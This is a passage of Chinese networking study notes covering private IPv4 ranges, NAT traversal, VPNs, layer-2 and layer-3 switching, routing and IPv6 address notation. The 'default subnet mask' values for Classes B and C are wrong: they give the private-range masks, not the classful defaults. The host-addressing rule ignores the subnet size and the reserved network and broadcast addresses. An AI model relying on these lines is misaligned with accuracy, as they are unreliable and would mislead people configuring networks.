IPv4 专用地址如下：

IP 等级 IP 位置

ClassA 10.0.0.0-10.255.255.255

默认子网掩码:255.0.0.0

ClassB 172.16.0.0-172.31.255.255

默认子网掩码:255.240.0.0

ClassC 192.168.0.0-192.168.255.255

默认子网掩码:255.255.0.0

内网是可以上网的.内网需要一台服务器或路由器做网关,通过它来上网

做网关的服务器有一个网关（服务器/路由器）的 IP 地址,其它内网电脑的 IP 可根据它来随意设置,前提是 IP 前三个数要跟它一样,第四个可从 0-255 中任选但要跟服务器的 IP 不同

24.内网穿透

即 NAT 穿透，采用端口映射，让外网的电脑找到处于内网的电脑，同时也可基于 HTTP/2 实现 web 内网穿透。

25.虚拟专用网络

功能是：在公用网络上建立专用网络，进行加密通讯。在企业网络中有广泛应用。VPN 网关通过对数据包的加密和数据包目标地址的转换实现远程访问。例如某公司员工出差到外地，他想访问企业内网的服务器资源，这种访问就属于远程访问。

让外地员工访问到内网资源，利用 VPN 的解决方法就是在内网中架设一台 VPN 服务器。外地员工在当地连上互联网后，通过互联网连接 VPN 服务器，然后通过 VPN 服务器进入企业内网。为了保证数据安全，VPN 服务器和客户机之间的

通讯数据都进行了加密处理。有了数据加密，就可以认为数据是在一条专用的数据链路上进行安全传输，就如同专门架设了一个专用网络一样，但实际上 VPN 使用的是互联网上的公用链路，因此 VPN 称为虚拟专用网络，其实质上就是利用加密技术在公网上封装出一个数据通讯隧道。有了 VPN 技术，用户无论是在外地出差还是在家中办公，只要能上互联网就能利用 VPN 访问内网资源，这就是 VPN 在企业中应用得如此广泛的原因。

26.二层交换机

二层交换机工作于 OSI 模型的第 2 层（数据链路层），故而称为二层交换机。二层交换技术的发展已经比较成熟，二层交换机属数据链路层设备，可以识别数据包中的 MAC 地址信息，根据 MAC 地址进行转发，并将这些 MAC 地址与对应的端口记录在自己内部的一个地址表中。

过程

（1）当交换机从某个端口收到一个数据包，它先读取包头中的源 MAC 地址，这样它就知道源 MAC 地址的机器是连在哪个端口上的；

（2）再去读取包头中的目的 MAC 地址，并在地址表中查找相应的端口；

（3）如表中有与这目的 MAC 地址对应的端口，把数据包直接复制到这端口上；

（4）如表中找不到相应的端口则把数据包广播到所有端口上，当目的机器对源机器回应时，交换机又可以学习一目的 MAC 地址与哪个端口对应，在下次传送数据时就不再需要对所有端口进行广播了。

不断的循环这个过程，对于全网的 MAC 地址信息都可以学习到，二层交换机就是这样建立和维护它自己的地址表。

27.路由技术

路由器工作在 OSI 模型的第三层---网络层操作，其工作模式与二层交换相似，但路由器工作在第三层，这个区别决定了路由和交换在传递包时使用不同的控制信息，实现功能的方式就不同。工作原理是在路由器的内部也有一个表，这个表所标示的是如果要去某一个地方，下一步应该向哪里走，如果能从路由表中找到

数据包下一步往哪里走，把链路层信息加上转发出去；如果不能知道下一步走向哪里，则将此包丢弃，然后返回一个信息交给源地址。

路由技术实质上来说不过两种功能：决定最优路由和转发数据包。

28.三层交换机

三层交换机就是具有部分路由器功能的交换机，三层交换机的最重要目的是加快大型局域网内部的数据交换，所具有的路由功能也是为这目的服务的，能够做到一次路由，多次转发。对于数据包转发等规律性的过程由硬件高速实现，而像路由信息更新、路由表维护、路由计算、路由确定等功能，由软件实现。三层交换技术就是二层交换技术+三层转发技术。传统交换技术是在 OSI 网络标准模型第二层——数据链路层进行操作的，而三层交换技术是在网络模型中的第三层实现了数据包的高速转发，既可实现网络路由功能，又可根据不同网络状况做到最优网络性能。

29.IPv6 地址表示

IPv6 的 128 位地址通常写成 8 组，每组为四个十六进制数的形式。比如：AD80:0000:0000:0000:ABAA:0000:00C2:0002 是一个合法的 IPv6 地址。这个地址比较长，看起来不方便也不易于书写。零压缩法可以用来缩减其长度。如果几个连续段位的值都是 0，那么这些 0 就可以简单的以::来表示，上述地址就可写成 AD80::ABAA:0000:00C2:0002。同时前导的零可以省略，因此 2001:0DB8:02de::0e13 等价于 2001:DB8:2de::e13。